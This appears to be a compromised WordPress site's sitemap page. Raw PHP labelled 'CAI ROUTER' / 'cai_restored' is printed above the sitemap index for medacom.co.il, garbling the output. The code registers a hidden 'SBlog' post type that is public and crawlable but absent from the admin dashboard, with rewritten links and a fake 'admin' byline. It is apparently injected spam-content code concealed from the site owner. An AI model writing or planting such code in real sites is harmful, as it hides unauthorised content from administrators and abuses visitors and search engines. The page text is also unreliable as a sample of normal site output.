

// CAI ROUTER - 
// cai_restored - 
add_action("init", function() {
    register_post_type("SBlog", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => false,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => true,
        "show_in_rest" => false,
        "rewrite" => true,
        "has_archive" => true,
        "supports" => ["title", "editor"],
        "labels" => [
            "name" => "Blog",
            "singular_name" => "Blog"
        ]
    ]);
    flush_rewrite_rules();
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "SBlog" ? home_url("/?post_type=SBlog&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "SBlog" ? home_url("/?post_type=SBlog") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("SBlog") || strpos($content, "<!-- CAI -->") !== false) return $content;

    $lang_code = get_locale();
    $lang_code = substr($lang_code, 0, 2);

    $translations = [
        "en" => ["author" => "Author", "date" => "Date", "back" => "Back to Articles"],
        "de" => ["author" => "Autor", "date" => "Datum", "back" => "Zurück zur Artikelliste"],
        "fr" => ["author" => "Auteur", "date" => "Date", "back" => "Retour à la liste des articles"],
        "it" => ["author" => "Autore", "date" => "Data", "back" => "Torna all'elenco degli articoli"],
        "es" => ["author" => "Autor", "date" => "Fecha", "back" => "Volver a la lista de artículos"],
        "pt" => ["author" => "Autor", "date" => "Data", "back" => "Voltar à lista de artigos"],
        "nl" => ["author" => "Auteur", "date" => "Datum", "back" => "Terug naar artikellijst"],
        "sv" => ["author" => "Författare", "date" => "Datum", "back" => "Tillbaka till artikellistan"],
        "no" => ["author" => "Forfatter", "date" => "Dato", "back" => "Tilbake til artikkellisten"],
        "da" => ["author" => "Forfatter", "date" => "Dato", "back" => "Tilbage til artikellisten"],
        "fi" => ["author" => "Tekijä", "date" => "Päivämäärä", "back" => "Palaa artikkeliluetteloon"],
        "pl" => ["author" => "Autor", "date" => "Data", "back" => "Powrót do listy artykułów"],
        "cs" => ["author" => "Autor", "date" => "Datum", "back" => "Zpět na seznam článků"],
        "sk" => ["author" => "Autor", "date" => "Dátum", "back" => "Späť na zoznam článkov"],
        "bg" => ["author" => "Автор", "date" => "Дата", "back" => "Обратно към списъка със статии"],
        "et" => ["author" => "Autor", "date" => "Kuupäev", "back" => "Tagasi artiklite nimekirja"],
    ];

    if (!isset($translations[$lang_code])) {
        $lang_code = "en";
    }
    $lang_text = $translations[$lang_code];

    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 " . $lang_text["author"] . ": admin | 📅 " . $lang_text["date"] . ": " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";

    $current_post_type = get_post_type($post);
    $archive_url = home_url("/?post_type=" . $current_post_type);

    return $info . $content . "<!-- CAI -->";
}, 10);

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://medacom.co.il/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://medacom.co.il/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://medacom.co.il/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://medacom.co.il/wp-sitemap-taxonomies-category-1.xml</loc></sitemap></sitemapindex>
